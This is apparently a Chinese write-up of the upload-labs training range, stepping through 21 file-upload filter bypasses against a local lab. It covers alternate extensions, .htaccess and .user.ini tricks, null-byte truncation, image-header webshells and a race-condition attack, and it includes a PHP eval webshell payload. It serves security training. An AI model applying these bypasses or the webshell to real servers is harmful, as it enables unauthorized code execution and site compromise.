upload-labs
pass-01
前端 js 过滤
1 | function checkFile() { |
最简单的
burp 抓包改后缀
pass-02
1 | $is_upload = false; |
用 if 函数结合$_FILES['myfile']['type']
判断 MIME 类型
后端改 content-type
将application/octect-stream
变为image/jpeg、image/png或image/gif
pass-03
1 | $is_upload = false; |
他经过了许多步
但其实他只匹配了$deny_ext = array('.asp','.aspx','.php','.jsp');
修改为 php1,php2,php3,php4,php5,phtml 等 与 php 解析相同的后缀皆可
pass-04
1 | $is_upload = false; |
这回匹配的倒挺多
不过配置文件没过滤
上传.htaccess 文件
写入下面两句中的一句即可
第一句是全按 php 解析
第二句是将 jpg 按 php 解析
1 | SetHandler application/x-httpd-php |
pass-05
和第 4 关类似
写入.user.ini 文件
1 | auto_prepend_file=shell.jpg |
再配合 shell
pass-06
这一关源码补上了之前漏网的配置文件
但是这里可以使用大小写绕过
例如.Php
pass-07
这里补了一句
1 | $file_ext = strtolower($file_ext); //转换为小写 |
没法大小写绕过了
这里通过补空格来绕过
.php (空格)
pass-08
这里补了句首位去空
1 | $file_ext = trim($file_ext); //首尾去空 |
这次用 . 绕过
.php.
和上面一样
后面的空格和 . 会被服务器自动删除
pass-09
这里补了
1 | $file_name = deldot($file_name);//删除文件名末尾的点 |
比之前少了一句
1 | $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA |
使用
1 | .php::$DATA |
pass-10
这里补回了::$DATA 仔细看这里过滤的顺序
1 | $deny_ext=array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); |
仔细看这里过滤的顺序
先去的点然后去的空
于是可以
.php. .
过滤后剩下
.php.
pass-11
1 | $is_upload = false; |
这里用 trim 函数删去通过$_FILES['upload_ext']['tmp_name']
得到的浏览器通过报文传过来的在 burpsuite 中的变量名是 filename 的字符串左右两边的空格 这就省了几步过滤
但是下面这句
$file_name = str_ireplace($deny_ext,"", $file_name);
是匹配到黑名单后替换成空
于是这里可以双写绕过
.pphphp
pass-12
这次使用了白名单过滤
1 | $is_upload = false; |
讲一下 00 截断的原理,在服务器读到十六进制编码为 00 时就会停止读取,而 save_path 是通过 GET 传参的 00 的 GET 传参的数据最终都会经过 URL 解码而%00 解码之后就是十六进制对应的 00,这就导致 move_uploaded_file 函数会读到 00 就结束从而上传成功
.php%00
pass-13
代码和十二关一样,只是 save_path 改用 POST 传参了
burpsuite 自带的 16 进制编辑器改 16 进制
找到文件名后缀后面的 0 被改为 00
pass-14
1 | function getReailFileType($filename){ |
这里本质上是检验的文件头
只要做个文件头正确的图片 🐎 即可
pass-15
1 | function isImage($filename){ |
这里上传图片 🐎 即可
pass-16
1 | $image_type = exif_imagetype($filename); |
这里的函数替代 15 关的
1 | $info = getimagesize($filename);//获取文件信息 |
还是图片 🐎 即可
pass-17
1 | $is_upload = false; |
这里进行了许多步过滤
简单总结下主要的就是
- 对 gif、png 或 jpg 文件的格式进行二次渲染
- 根据上传的文件类型用 imagecreatefromgif 这一类的函数生成一个新的图片
- 将原本保存下的文件用 unlink 函数删除
据师傅说直接用 cmd 命令行 copy 的文件也能成功上传
也可以用 010editor 比较二次渲染前后的图片
蓝色的部分是未被改变的
可以在那里插入 🐎
pass-18
1 | $is_upload = false; |
这里过滤的挺充分的
不过黑客大佬们还是有方法
原理简单来说是
- 文件上传后到原文件被删除有一段时间
- 利用这段时间 重复发送写入木马的木马
- 然后不停访问原文件
- 访问成功后 木马也就被重新写入
写入木马的木马
1 | puts(fopen('shell.php','r+'),'<? @eval($_POST['shell']);?>');//发送的木马 |
重复发送利用 burp 实现
- 用 burpsuite 抓包
- 调用 intruder 模块
- 打开 payload 板块设置 payload type 为 null payloads
- 点击下方的 continue indefinitely
连续访问利用脚本实现
1 | import requests |
pass-19
这一关和上面很像
不过 python 连续访问的 url 要变成
1 | 127.0.0.1/upload-labs-master/include.php?file=upload/shell.jpg |
pass-20
这关绕过方法用之前的.php.
就可以
不过这关和之前有个很明显的区别
做了个保存名称的 input
1 | $is_upload = false; |
pass-21
1 | $is_upload = false; |
- 验证上传路径是否存在验证[‘upload_file’]的 content-type 是否合法(可以抓包修改)
- 判断 POST 参数是否为空定义$file 变量(关键:构造数组绕过下一步的判断)
- 判断 file 不是数组则使用 explode(‘.’, strtolower($file))对 file 进行切割,将 file 变为一个数组
- 判断数组最后一个元素是否合法
- 数组第一位和
$file[count($file) - 1]
进行拼接,产生保存文件名 file_name - 上传文件
这里可以用 00 截断
也可以用数组绕过
post 包
1 | -----------------------------131314876217456529963542266439 |